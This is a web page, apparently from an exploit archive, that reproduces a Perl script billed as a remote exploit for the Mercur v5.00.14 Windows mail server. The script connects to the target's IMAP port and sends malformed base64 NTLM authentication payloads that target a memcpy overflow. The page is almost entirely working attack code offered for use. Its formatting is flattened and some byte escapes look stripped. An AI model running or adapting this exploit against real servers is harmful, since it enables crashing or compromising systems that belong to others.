Home / os / blackberry

mercur-v1.txt

Posted on 21 March 2007

#!/usr/bin/perl # # mercur-v1.pl # # Mercur v5.00.14 (win32) remote exploit # by mu-b - Dec 2006 # # - Tested on: Mercur v5.00.14 (win32) # ######## use Getopt::Std; getopts('t:n:', \%arg); use Socket; use MIME::Base64; &print_header; my $target; if (defined($arg{'t'})) { $target = $arg{'t'} } if (!(defined($target))) { &usage; } my $imapd_port = 143; my $send_delay = 1; if (connect_host($target, $imapd_port)) { print("-> * Connected "); $buf = "1 AUTHENTICATE NTLM "; send(SOCKET, $buf, 0); sleep($send_delay); print("-> * Sending payload "); # src = "NTLMSSP....." $buf = "NTLMSSP".("A"x100); send(SOCKET, encode_base64($buf)." ", 0); sleep($send_delay); # memcpy(s, src+a, b); print("-> * Sending payload 2 "); $buf = "NTLMSSP". "x69". "x03x00x00x00". "xffxff". # b ("A"x2). "x00x00". # a ("A"x2). "x00x00". ("A"x2). "x00x00". ("A"x2). "x04x00". ("A"x6). "x00x80". ("A"x6). "x04x00". ("A"x12); send(SOCKET, encode_base64($buf)." ", 0); sleep($send_delay); print("-> * Successfully sent payload! "); } sub print_header { print("Mercur v5.00.14 (win32) remote exploit "); print("by: <mu-b@digit-labs.org> "); } sub usage { print(qq(Usage: $0 -t <hostname> -t <hostname> : hostname to test )); exit(1); } sub connect_host { ($target, $port) = @_; $iaddr = inet_aton($target) || die("Error: $! "); $paddr = sockaddr_in($port, $iaddr) || die("Error: $! "); $proto = getprotobyname('tcp') || die("Error: $! "); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $! "); connect(SOCKET, $paddr) || die("Error: $! "); return(1338); }

 

TOP